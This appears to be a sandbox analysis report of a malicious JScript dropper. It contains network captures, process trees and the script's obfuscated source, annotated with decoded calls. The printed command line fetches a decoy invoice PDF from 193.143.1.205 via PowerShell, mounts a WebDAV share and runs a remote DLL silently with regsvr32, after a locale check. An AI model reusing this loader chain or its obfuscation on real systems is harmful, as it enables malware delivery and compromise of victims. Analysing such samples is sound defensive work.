Jan 10, 2025 22:07:16.024061918 CET	224	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]
Jan 10, 2025 22:07:16.024068117 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 22:07:16.024076939 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 22:07:16.024082899 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 22:07:16.024213076 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 22:07:16.024225950 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 22:07:16.024233103 CET	448	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 10, 2025 22:07:16.029735088 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49726	193.143.1.205	8888	6784	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:07:17.801793098 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 22:07:18.599975109 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:07:18 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	16:07:10
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1071116915318159767.js"
Imagebase:	0x7ff6c6530000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:07:10
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2152160978375.dll
Imagebase:	0x7ff6356b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:07:11
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:07:11
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:07:16
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	16:07:16
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6356b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:07:16
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff659890000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:07:17
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	16:07:17
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	16:07:17
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1584,i,17465987910542294677,800333914084722569,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function mbeff() {	mbeff() ➔ undefined
1	bunnk = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var dgwibb = this[zqbwdqvt + xfznhqup + qfvrpqxju + tytgfxmty + dkbeefqvt + wdagxlq + yuste + lizqpyqm] ( this[hvtmfiryk + gqdjbi + lwdqqhly + qfvrpqxju + lxxhnkfq + zqbwdqvt + lizqpyqm][gejymux + qfvrpqxju + dkbeefqvt + xfznhqup + lizqpyqm + dkbeefqvt + chnjimg + bdffiuujt + hzdaaun + dkbeefqvt + lwdqqhly + lizqpyqm] ( hvtmfiryk + gqdjbi + lwdqqhly + qfvrpqxju + lxxhnkfq + zqbwdqvt + lizqpyqm + crhiq + gqdjbi + edezjuuvf + dkbeefqvt + exnzfdr + exnzfdr ) [iwbeyuti + dkbeefqvt + iwrocl + iwbeyuti + dkbeefqvt + xfznhqup + tqezlx] ( bnzzfm + vyoujwt + ntksgbmb + sfxsm + nbahek + gejymux + mbrvf + iwbeyuti + iwbeyuti + ntksgbmb + qtkrcbq + qzhihv + nbahek + mbrvf + gqdjbi + ntksgbmb + iwbeyuti + fiwum + gejymux + whdnltj + yuste + lizqpyqm + qfvrpqxju + whdnltj + exnzfdr + nxxtw + rtoowi + xfznhqup + yuste + dkbeefqvt + exnzfdr + fiwum + wdagxlq + yuste + lizqpyqm + dkbeefqvt + qfvrpqxju + yuste + xfznhqup + lizqpyqm + lxxhnkfq + whdnltj + yuste + xfznhqup + exnzfdr + fiwum + pfvkns + whdnltj + lwdqqhly + xfznhqup + exnzfdr + dkbeefqvt ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( qpmsrqec = 0 ; qpmsrqec < bunnk[exnzfdr + dkbeefqvt + yuste + iwrocl + lizqpyqm + edezjuuvf] ; ++ qpmsrqec )
4	{
5	if ( dgwibb == bunnk[qpmsrqec] )
6	{
7	dgwibb = true;
8	break ;
9	}
10	}
11	if ( dgwibb !== true )
12	this[hvtmfiryk + gqdjbi + lwdqqhly + qfvrpqxju + lxxhnkfq + zqbwdqvt + lizqpyqm][zhqntv + qwznimx + lxxhnkfq + lizqpyqm] ( );
13	this[hvtmfiryk + gqdjbi + lwdqqhly + qfvrpqxju + lxxhnkfq + zqbwdqvt + lizqpyqm][gejymux + qfvrpqxju + dkbeefqvt + xfznhqup + lizqpyqm + dkbeefqvt + chnjimg + bdffiuujt + hzdaaun + dkbeefqvt + lwdqqhly + lizqpyqm] ( hvtmfiryk + gqdjbi + lwdqqhly + qfvrpqxju + lxxhnkfq + zqbwdqvt + lizqpyqm + crhiq + gqdjbi + edezjuuvf + dkbeefqvt + exnzfdr + exnzfdr ) [qfvrpqxju + qwznimx + yuste] ( lwdqqhly + khfrnypa + tqezlx + nxxtw + frqak + lwdqqhly + nxxtw + zqbwdqvt + whdnltj + diwghkyxi + dkbeefqvt + qfvrpqxju + tytgfxmty + edezjuuvf + dkbeefqvt + exnzfdr + exnzfdr + crhiq + dkbeefqvt + qgslyx + dkbeefqvt + nxxtw + hjxld + gejymux + whdnltj + khfrnypa + khfrnypa + xfznhqup + yuste + tqezlx + nxxtw + yribmf + wdagxlq + yuste + topsgll + whdnltj + jlmtaj + dkbeefqvt + hjxld + hvtmfiryk + dkbeefqvt + bdffiuujt + iwbeyuti + dkbeefqvt + rtvgv + qwznimx + dkbeefqvt + tytgfxmty + lizqpyqm + nxxtw + hjxld + chnjimg + qwznimx + lizqpyqm + jggkaf + lxxhnkfq + exnzfdr + dkbeefqvt + nxxtw + jzqjse + lizqpyqm + dkbeefqvt + khfrnypa + zqbwdqvt + jzqjse + fiwum + lxxhnkfq + yuste + topsgll + whdnltj + lxxhnkfq + lwdqqhly + dkbeefqvt + crhiq + zqbwdqvt + tqezlx + xjbyirhs + nxxtw + edezjuuvf + lizqpyqm + lizqpyqm + zqbwdqvt + vkxqftz + frqak + frqak + bdqqplwj + qzvmf + ritnkbc + crhiq + bdqqplwj + qkgihxxnf + ritnkbc + crhiq + bdqqplwj + crhiq + keqyqja + ajpune + gdzoqbvk + frqak + lxxhnkfq + yuste + topsgll + whdnltj + lxxhnkfq + lwdqqhly + dkbeefqvt + crhiq + zqbwdqvt + edezjuuvf + zqbwdqvt + yribmf + eybcsb + eybcsb + tytgfxmty + lizqpyqm + xfznhqup + qfvrpqxju + lizqpyqm + nxxtw + jzqjse + lizqpyqm + dkbeefqvt + khfrnypa + zqbwdqvt + jzqjse + fiwum + lxxhnkfq + yuste + topsgll + whdnltj + lxxhnkfq + lwdqqhly + dkbeefqvt + crhiq + zqbwdqvt + tqezlx + xjbyirhs + eybcsb + eybcsb + lwdqqhly + khfrnypa + tqezlx + nxxtw + frqak + lwdqqhly + nxxtw + yuste + dkbeefqvt + lizqpyqm + nxxtw + qwznimx + tytgfxmty + dkbeefqvt + nxxtw + fiwum + fiwum + bdqqplwj + qzvmf + ritnkbc + crhiq + bdqqplwj + qkgihxxnf + ritnkbc + crhiq + bdqqplwj + crhiq + keqyqja + ajpune + gdzoqbvk + gvvcw + yofsrv + yofsrv + yofsrv + yofsrv + fiwum + tqezlx + xfznhqup + topsgll + diwghkyxi + diwghkyxi + diwghkyxi + qfvrpqxju + whdnltj + whdnltj + lizqpyqm + fiwum + eybcsb + eybcsb + lwdqqhly + khfrnypa + tqezlx + nxxtw + frqak + lwdqqhly + nxxtw + qfvrpqxju + dkbeefqvt + iwrocl + tytgfxmty + topsgll + qfvrpqxju + ritnkbc + keqyqja + nxxtw + frqak + tytgfxmty + nxxtw + fiwum + fiwum + bdqqplwj + qzvmf + ritnkbc + crhiq + bdqqplwj + qkgihxxnf + ritnkbc + crhiq + bdqqplwj + crhiq + keqyqja + ajpune + gdzoqbvk + gvvcw + yofsrv + yofsrv + yofsrv + yofsrv + fiwum + tqezlx + xfznhqup + topsgll + diwghkyxi + diwghkyxi + diwghkyxi + qfvrpqxju + whdnltj + whdnltj + lizqpyqm + fiwum + keqyqja + bdqqplwj + gdzoqbvk + keqyqja + bdqqplwj + wrbxsbvgs + ajpune + qzvmf + qzjpjp + yofsrv + ritnkbc + qzjpjp + gdzoqbvk + crhiq + tqezlx + exnzfdr + exnzfdr, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2152160978375.dll",0,false) ➔ 0
14	}
15	bdqqplwj = "w";
16	bdqqplwj = "C";
17	bdqqplwj = "Y";
18	bdqqplwj = "o";
19	bdqqplwj = "Y";
20	bdqqplwj = "j";
21	bdqqplwj = "U";
22	bdqqplwj = "d";
23	bdqqplwj = "l";
24	bdqqplwj = "p";
25	bdqqplwj = "s";
26	bdqqplwj = "G";
27	bdqqplwj = "o";
28	bdqqplwj = "u";
29	bdqqplwj = "c";
30	bdqqplwj = "l";
31	bdqqplwj = "B";
32	bdqqplwj = "b";
33	bdqqplwj = "l";
34	bdqqplwj = "S";
35	bdqqplwj = "g";
36	bdqqplwj = "y";
37	bdqqplwj = "X";
38	bdqqplwj = "q";
39	bdqqplwj = "L";
40	bdqqplwj = "O";
41	bdqqplwj = "j";
42	bdqqplwj = "p";
43	bdqqplwj = "M";
44	bdqqplwj = "j";
45	bdqqplwj = "Y";
46	bdqqplwj = "R";
47	bdqqplwj = "x";
48	bdqqplwj = "S";
49	bdqqplwj = "U";
50	bdqqplwj = "g";
51	bdqqplwj = "L";
52	bdqqplwj = "u";
53	bdqqplwj = "1";
54	gqdjbi = "v";
55	gqdjbi = "h";
56	gqdjbi = "a";
57	gqdjbi = "A";
58	gqdjbi = "w";
59	gqdjbi = "Q";
60	gqdjbi = "I";
61	gqdjbi = "R";
62	gqdjbi = "S";
63	iwrocl = "H";
64	iwrocl = "a";
65	iwrocl = "n";
66	iwrocl = "V";
67	iwrocl = "f";
68	iwrocl = "X";
69	iwrocl = "n";
70	iwrocl = "S";
71	iwrocl = "v";
72	iwrocl = "c";
73	iwrocl = "f";
74	iwrocl = "m";
75	iwrocl = "Q";
76	iwrocl = "e";
77	iwrocl = "V";
78	iwrocl = "o";
79	iwrocl = "E";
80	iwrocl = "P";
81	iwrocl = "g";
82	iwrocl = "x";
83	iwrocl = "l";
84	iwrocl = "S";
85	iwrocl = "p";
86	iwrocl = "S";
87	iwrocl = "l";
88	iwrocl = "g";
89	nbahek = "U";
90	nbahek = "b";
91	nbahek = "G";
92	nbahek = "t";
93	nbahek = "V";
94	nbahek = "O";
95	nbahek = "W";
96	nbahek = "p";
97	nbahek = "X";
98	nbahek = "r";
99	nbahek = "w";
100	nbahek = "U";
101	nbahek = "g";
102	nbahek = "L";
103	nbahek = "i";
104	nbahek = "T";
105	nbahek = "z";
106	nbahek = "c";
107	nbahek = "E";
108	nbahek = "h";
109	nbahek = "j";
110	nbahek = "A";
111	nbahek = "S";
112	nbahek = "D";
113	nbahek = "C";
114	nbahek = "i";
115	nbahek = "h";
116	nbahek = "e";
117	nbahek = "t";
118	nbahek = "X";
119	nbahek = "g";
120	nbahek = "B";
121	nbahek = "d";
122	nbahek = "M";
123	nbahek = "S";
124	nbahek = "r";
125	nbahek = "R";
126	nbahek = "b";
127	nbahek = "_";
128	fiwum = "L";
129	fiwum = "u";
130	fiwum = "R";
131	fiwum = "s";
132	fiwum = "a";
133	fiwum = "s";
134	fiwum = "m";
135	fiwum = "m";
136	fiwum = "e";
137	fiwum = "L";
138	fiwum = "l";
139	fiwum = "E";
140	fiwum = "M";
141	fiwum = "H";
142	fiwum = "b";
143	fiwum = "\\";
144	gdzoqbvk = "i";
145	gdzoqbvk = "F";
146	gdzoqbvk = "K";
147	gdzoqbvk = "v";
148	gdzoqbvk = "V";
149	gdzoqbvk = "w";
150	gdzoqbvk = "Y";
151	gdzoqbvk = "v";
152	gdzoqbvk = "B";
153	gdzoqbvk = "w";
154	gdzoqbvk = "q";
155	gdzoqbvk = "H";
156	gdzoqbvk = "j";
157	gdzoqbvk = "A";
158	gdzoqbvk = "F";
159	gdzoqbvk = "l";
160	gdzoqbvk = "j";
161	gdzoqbvk = "p";
162	gdzoqbvk = "F";
163	gdzoqbvk = "U";
164	gdzoqbvk = "d";
165	gdzoqbvk = "R";
166	gdzoqbvk = "B";
167	gdzoqbvk = "K";
168	gdzoqbvk = "u";
169	gdzoqbvk = "j";
170	gdzoqbvk = "e";
171	gdzoqbvk = "b";
172	gdzoqbvk = "t";
173	gdzoqbvk = "o";
174	gdzoqbvk = "X";
175	gdzoqbvk = "X";
176	gdzoqbvk = "u";
177	gdzoqbvk = "Y";
178	gdzoqbvk = "j";
179	gdzoqbvk = "W";
180	gdzoqbvk = "c";
181	gdzoqbvk = "5";
182	qzhihv = "j";
183	qzhihv = "i";
184	qzhihv = "s";
185	qzhihv = "L";
186	qzhihv = "N";
187	qzhihv = "d";
188	qzhihv = "w";
189	qzhihv = "U";
190	qzhihv = "w";
191	qzhihv = "I";
192	qzhihv = "J";
193	qzhihv = "f";
194	qzhihv = "T";
195	lxxhnkfq = "B";
196	lxxhnkfq = "i";
197	hvtmfiryk = "W";
198	qkgihxxnf = "x";
199	qkgihxxnf = "y";
200	qkgihxxnf = "W";
201	qkgihxxnf = "c";
202	qkgihxxnf = "C";
203	qkgihxxnf = "y";
204	qkgihxxnf = "i";
205	qkgihxxnf = "t";
206	qkgihxxnf = "i";
207	qkgihxxnf = "Z";
208	qkgihxxnf = "h";
209	qkgihxxnf = "o";
210	qkgihxxnf = "K";
211	qkgihxxnf = "C";
212	qkgihxxnf = "C";
213	qkgihxxnf = "O";
214	qkgihxxnf = "w";
215	qkgihxxnf = "L";
216	qkgihxxnf = "T";
217	qkgihxxnf = "p";
218	qkgihxxnf = "d";
219	qkgihxxnf = "l";
220	qkgihxxnf = "Z";
221	qkgihxxnf = "C";
222	qkgihxxnf = "N";
223	qkgihxxnf = "F";
224	qkgihxxnf = "i";
225	qkgihxxnf = "v";
226	qkgihxxnf = "B";
227	qkgihxxnf = "D";
228	qkgihxxnf = "I";
229	qkgihxxnf = "l";
230	qkgihxxnf = "P";
231	qkgihxxnf = "K";
232	qkgihxxnf = "w";
233	qkgihxxnf = "r";
234	qkgihxxnf = "a";
235	qkgihxxnf = "D";
236	qkgihxxnf = "o";
237	qkgihxxnf = "4";
238	qgslyx = "V";
239	qgslyx = "C";
240	qgslyx = "K";
241	qgslyx = "i";
242	qgslyx = "J";
243	qgslyx = "u";
244	qgslyx = "P";
245	qgslyx = "X";
246	qgslyx = "T";
247	qgslyx = "l";
248	qgslyx = "x";
249	vyoujwt = "M";
250	vyoujwt = "K";
251	vyoujwt = "u";
252	vyoujwt = "A";
253	vyoujwt = "g";
254	vyoujwt = "E";
255	vyoujwt = "z";
256	vyoujwt = "B";
257	vyoujwt = "S";
258	vyoujwt = "d";
259	vyoujwt = "O";
260	vyoujwt = "W";
261	vyoujwt = "r";
262	vyoujwt = "Y";
263	vyoujwt = "q";
264	vyoujwt = "V";
265	vyoujwt = "x";
266	vyoujwt = "K";
267	vyoujwt = "F";
268	vyoujwt = "A";
269	vyoujwt = "o";
270	vyoujwt = "g";
271	vyoujwt = "U";
272	vyoujwt = "X";
273	vyoujwt = "K";
274	vkxqftz = "Q";
275	vkxqftz = "V";
276	vkxqftz = "H";
277	vkxqftz = "i";
278	vkxqftz = "R";
279	vkxqftz = "Z";
280	vkxqftz = "u";
281	vkxqftz = "m";
282	vkxqftz = "b";
283	vkxqftz = "t";
284	vkxqftz = "T";
285	vkxqftz = "e";
286	vkxqftz = "G";
287	vkxqftz = "e";
288	vkxqftz = "I";
289	vkxqftz = "S";
290	vkxqftz = "m";
291	vkxqftz = "b";
292	vkxqftz = "K";
293	vkxqftz = "X";
294	vkxqftz = "W";
295	vkxqftz = ":";
296	qzjpjp = "O";
297	qzjpjp = "S";
298	qzjpjp = "h";
299	qzjpjp = "f";
300	qzjpjp = "f";
301	qzjpjp = "o";
302	qzjpjp = "s";
303	qzjpjp = "E";
304	qzjpjp = "P";
305	qzjpjp = "g";
306	qzjpjp = "n";
307	qzjpjp = "m";
308	qzjpjp = "r";
309	qzjpjp = "Q";
310	qzjpjp = "T";
311	qzjpjp = "W";
312	qzjpjp = "c";
313	qzjpjp = "F";
314	qzjpjp = "D";
315	qzjpjp = "g";
316	qzjpjp = "g";
317	qzjpjp = "k";
318	qzjpjp = "Y";
319	qzjpjp = "x";
320	qzjpjp = "a";
321	qzjpjp = "7";
322	edezjuuvf = "z";
323	edezjuuvf = "m";
324	edezjuuvf = "c";
325	edezjuuvf = "K";
326	edezjuuvf = "w";
327	edezjuuvf = "o";
328	edezjuuvf = "V";
329	edezjuuvf = "m";
330	edezjuuvf = "N";
331	edezjuuvf = "A";
332	edezjuuvf = "b";
333	edezjuuvf = "l";
334	edezjuuvf = "H";
335	edezjuuvf = "h";
336	tqezlx = "d";
337	tqezlx = "m";
338	tqezlx = "K";
339	tqezlx = "P";
340	tqezlx = "z";
341	tqezlx = "Y";
342	tqezlx = "T";
343	tqezlx = "P";
344	tqezlx = "h";
345	tqezlx = "r";
346	tqezlx = "d";
347	iwbeyuti = "U";
348	iwbeyuti = "o";
349	iwbeyuti = "T";
350	iwbeyuti = "J";
351	iwbeyuti = "f";
352	iwbeyuti = "x";
353	iwbeyuti = "t";
354	iwbeyuti = "M";
355	iwbeyuti = "N";
356	iwbeyuti = "R";
357	eybcsb = "X";
358	eybcsb = "B";
359	eybcsb = "q";
360	eybcsb = "R";
361	eybcsb = "v";
362	eybcsb = "w";
363	eybcsb = "W";
364	eybcsb = "R";
365	eybcsb = "G";
366	eybcsb = "g";
367	eybcsb = "v";
368	eybcsb = "b";
369	eybcsb = "s";
370	eybcsb = "H";
371	eybcsb = "p";
372	eybcsb = "x";
373	eybcsb = "E";
374	eybcsb = "y";
375	eybcsb = "x";
376	eybcsb = "f";
377	eybcsb = "g";
378	eybcsb = "e";
379	eybcsb = "Q";
380	eybcsb = "M";
381	eybcsb = "&";
382	mbrvf = "G";
383	mbrvf = "x";
384	mbrvf = "Z";
385	mbrvf = "r";
386	mbrvf = "p";
387	mbrvf = "G";
388	mbrvf = "k";
389	mbrvf = "w";
390	mbrvf = "I";
391	mbrvf = "r";
392	mbrvf = "x";
393	mbrvf = "T";
394	mbrvf = "D";
395	mbrvf = "m";
396	mbrvf = "N";
397	mbrvf = "j";
398	mbrvf = "z";
399	mbrvf = "y";
400	mbrvf = "s";
401	mbrvf = "g";
402	mbrvf = "r";
403	mbrvf = "T";
404	mbrvf = "J";
405	mbrvf = "Z";
406	mbrvf = "z";
407	mbrvf = "X";
408	mbrvf = "R";
409	mbrvf = "f";
410	mbrvf = "N";
411	mbrvf = "N";
412	mbrvf = "R";
413	mbrvf = "z";
414	mbrvf = "U";
415	dkbeefqvt = "x";
416	dkbeefqvt = "G";
417	dkbeefqvt = "b";
418	dkbeefqvt = "q";
419	dkbeefqvt = "V";
420	dkbeefqvt = "Q";
421	dkbeefqvt = "g";
422	dkbeefqvt = "j";
423	dkbeefqvt = "t";
424	dkbeefqvt = "e";
425	rtoowi = "h";
426	rtoowi = "D";
427	rtoowi = "W";
428	rtoowi = "U";
429	rtoowi = "L";
430	rtoowi = "M";
431	rtoowi = "y";
432	rtoowi = "Y";
433	rtoowi = "x";
434	rtoowi = "F";
435	rtoowi = "V";
436	rtoowi = "g";
437	rtoowi = "u";
438	rtoowi = "s";
439	rtoowi = "W";
440	rtoowi = "P";
441	hzdaaun = "l";
442	hzdaaun = "J";
443	hzdaaun = "m";
444	hzdaaun = "C";
445	hzdaaun = "y";
446	hzdaaun = "x";
447	hzdaaun = "j";
448	lwdqqhly = "K";
